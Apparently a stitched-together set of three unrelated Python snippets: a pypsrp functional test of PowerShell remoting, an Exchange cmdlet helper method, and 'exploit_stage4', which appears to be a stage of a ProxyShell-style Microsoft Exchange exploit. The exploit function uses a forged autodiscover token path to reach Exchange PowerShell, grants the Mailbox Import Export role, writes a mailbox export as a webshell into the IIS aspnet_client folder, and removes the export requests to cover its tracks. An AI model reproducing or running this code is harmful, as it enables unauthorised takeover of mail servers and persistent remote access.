def test_psrp(self, functional_transports):
for wsman in functional_transports:
with RunspacePool(wsman) as pool:
pool.exchange_keys()
ps = PowerShell(pool)
ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows")
ps.add_statement()
sec_string = pool.serialize(u"super secret", ObjectMeta("SS"))
ps.add_cmdlet("Set-Variable")
ps.add_parameter("Name", "password")
ps.add_parameter("Value", sec_string)
ps.add_statement().add_script(
"[System.Runtime.InteropServices.marshal]"
"::PtrToStringAuto([System.Runtime.InteropServices.marshal]"
"::SecureStringToBSTR($password))")
ps.add_statement().add_cmdlet("ConvertTo-SecureString")
ps.add_parameter("String", "host secret")
ps.add_parameter("AsPlainText")
ps.add_parameter("Force")
large_string = "hello world " * 3000
ps.add_statement()
ps.add_script("$VerbosePreference = 'Continue'; "
"Write-Verbose '%s'" % large_string)
actual = ps.invoke()
assert ps.had_errors is False
assert len(actual) == 3
assert str(actual[0]) == "C:\\Windows"
assert actual[1] == u"super secret"
assert actual[2] == u"host secret"
assert str(ps.streams.verbose[0]) == large_string
def connection(self,scriptname,**kwargs):
try:
with RunspacePool(self.wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool).add_cmdlet(scriptname)
[ps.add_parameter(i,kwargs[i]) for i in kwargs]
output = ps.invoke()
if not ps.had_errors and not ps.streams.error:
self.message,self.isSuccess,self.count = [i.adapted_properties for i in output],True,len(output)
else:
self.code,self.msg = 201,"%s".join([str(s) for s in ps.streams.error])
except Exception as e:
self.msg,self.code = e,201
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
logger.debug("[Stage 4] Dealing with WSMV")
wsman = WSMan(server=target, port=443,
path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]',
ssl="true",
cert_validation=False)
logger.debug("[Stage 4] Dealing with PSRP")
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Assign Management Role")
ps = PowerShell(pool)
#ps.add_cmdlet("Get-User")
ps.add_cmdlet("New-ManagementRoleAssignment")
ps.add_parameter("Role", "Mailbox Import Export")
ps.add_parameter("SecurityGroup", "Organization Management")
output = ps.invoke()
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Exporting MailBox as Webshell")
ps = PowerShell(pool)
ps.add_cmdlet("New-MailboxExportRequest")
ps.add_parameter("Mailbox", alias_name)
ps.add_parameter("Name", subject)
ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
output = ps.invoke()
logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Cleaning Notification")
ps = PowerShell(pool)
ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
output = ps.invoke()
